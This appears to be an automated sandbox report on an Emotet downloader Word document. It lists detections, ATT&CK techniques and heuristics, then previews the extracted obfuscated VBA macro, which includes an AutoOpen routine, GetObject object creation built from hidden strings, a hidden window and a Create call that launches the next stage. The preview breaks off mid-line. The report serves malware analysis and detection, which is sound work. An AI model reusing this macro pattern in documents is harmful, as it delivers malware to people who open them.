MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6914608-0, indicating it belongs to the Emotet family. High-severity heuristics confirm the presence of an AutoOpen VBA macro that uses GetObject, a common technique for executing malicious code. The VBA script, although heavily obfuscated, is designed to download and execute a second-stage payload, consistent with Emotet's behavior.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-6914608-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6914608-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 16197 bytes |
SHA-256: 9aac05c26af283bc3b38e7c87ce12f1640d75f53a6e7d09f9d44f66cb65b8462 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "TkQAAoAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "EZcAkX"
Attribute VB_Base = "0{B38107AD-52EA-49B4-AE0D-EB5CEBBFB14F}{F2752129-D1BD-4190-A1E2-846E77280666}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "fcDAXAGB"
Sub autoopen()
On Error Resume Next
If ZwoAA_U = hDAAAcZ1 Then
wZQAxG = CVar(MAQDA4)
sAGkQUDA = (424695335 + Rnd(vA1DAZ * _
Tan(366470779 / Chr(965197711 / CDbl(PoBCUAUA) * HkAkXAw / CDbl(708178645)))) * 538627312 * _
Atn(149443215 / Oct(871920812) - 494791001 * Int(UACUCBA)) * (631731327 - Atn(cAkAAA)))
HkkAXXXX = Int(WBBAGkB - _
AwA4ZZ - 177218148 * Int(563603357))
End If
If GBBcAxZ = zwkUwADA Then
rAAxZ4AD = CVar(McQZA4)
mAGBABA = (41420200 + Rnd(bA4ZAZ * _
Tan(820356531 / Chr(599244791 / CDbl(DUUGAAAx) * D4UZG1A / CDbl(995809830)))) * 685800906 * _
Atn(67426153 / Oct(571060242) - 455673055 * Int(rAGAXxGA)) * (384626861 - Atn(SUxUAAA)))
wAQDBZXA = Int(O41cAA - _
pUAxwBcA - 580257375 * Int(298118555))
End If
If bAAwA44B = MADDD1 Then
kAwAAZA = CVar(uA14AQ)
oQAQkB = (19292824 + Rnd(XAADZAw1 * _
Tan(43682618 / Chr(544264322 / CDbl(pB4GZUw) * zU4CBQA / CDbl(882677312)))) * 599027045 * _
Atn(415313378 / Oct(188011366) - 70029321 * Int(TAAUUA)) * (333432617 - Atn(lQcA1o)))
oUx_oA = Int(UDUAkB1B - _
wQABAA - 790835730 * Int(135382998))
End If
Set OQCw_kA = GetObject(EZcAkX.Tag + EZcAkX.kBAUDBA + EZcAkX.Tag)
If VAZCUB = QXcAwDkB Then
SAXAAA1G = CVar(lAkAAUZ)
b1BA_A = (929958251 + Rnd(tABxGC * _
Tan(753644307 / Chr(529000893 / CDbl(rGGAABx) * DcA4AQ / CDbl(915573118)))) * 710474988 * _
Atn(793905021 / Oct(86464539) - 739332689 * Int(nkQcBUA)) * (165189859 - Atn(OBoAoBAA)))
scXAAU_ = Int(zAUXAA - _
WA1AAoAQ - 766971998 * Int(549587236))
End If
If XADXA_x = ncDkwQQA Then
dwc1ADck = CVar(jUXBAA)
NAUAUw = (986531385 + Rnd(lBQBUQQ * _
Tan(119160287 / Chr(211364030 / CDbl(HA_AcA1) * bwAUwABA / CDbl(650121536)))) * 538707230 * _
Atn(729980572 / Oct(321919195) - 920572829 * Int(c__ACU)) * (441178853 - Atn(tA_CUAQA)))
sZGA4G = Int(YGAXwAX - _
WUDUDQA - 546364663 * Int(67495950))
End If
If AXUQCU = jGowkBG1 Then
zQ4B4GU_ = CVar(DcAABC)
zQDUCAx = (465761989 + Rnd(HQUBAQBo * _
Tan(495497595 / Chr(167980340 / CDbl(I_ADAU) * TAU111Q / CDbl(246443906)))) * 837733115 * _
Atn(450536162 / Oct(816613707) - 122230419 * Int(QXGwAGA)) * (956393835 - Atn(pCUoCBAA)))
fcAkBo = Int(CAD_kAA - _
fABXAUx - 477337761 * Int(330705246))
End If
OQCw_kA.ShowWindow = 374139 - 374139
If TDAB4Dk = zAZB__Q Then
uxQQ_ZB = CVar(RZQGG_QB)
YDA1xQ = (971282489 + Rnd(iAwUCAxB * _
Tan(994547658 / Chr(594029515 / CDbl(PCkQUAAk) * vUAA1A / CDbl(723008253)))) * 545634982 * _
Atn(245512197 / Oct(487626533) - 150099428 * Int(HkkAAG4Q)) * (962440860 - Atn(JUAQAoG)))
SAZCoAok = Int(HA4CcAA - _
X_AC4A - 879262387 * Int(906944221))
End If
If PUkCAA = jGABkCB Then
sDUB4A = CVar(zQ4CGo_X)
PCCwwUA = (717013287 + Rnd(YAo_1k4k * _
Tan(135664709 / Chr(244634889 / CDbl(DADoc4C) * jAZQAwAo / CDbl(12039639)))) * 683423177 * _
Atn(883665037 / Oct(394801366) - 338763409 * Int(jAGQ1AA)) * (982056004 - Atn(tGBAUBQk)))
WDAcoCwk = Int(AAAAwAAU - _
dAQAABQ - 568842327 * Int(601760228))
End If
GetObject(EZcAkX.Tag + EZcAkX.rAAoAAo + EZcAkX.Tag). _
Create EZcAkX.Tag + EZcAkX.vxkXUUoZ + EZcAkX.Tag + EZcAkX.F_4UZX + EZcAkX.Tag + EZcAkX.Tag + EZcAkX.Ck_BBA + EZcAkX.Tag + EZcAkX.Tag + EZcAkX.aQCU1C + EZcAkX.Tag + EZcAkX.n1_DAU_A + EZcAkX.Tag, VDXAwU, OQCw_kA, EZcAkX.Tag
If T_kCAA = hAQAAA1C Then
I_ADAGZ = CVar(CAAcDGAQ)
UGAXAAAD = (748173980 + Rnd(FCAQwk * _
Tan(741678294 / Chr(3324965
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.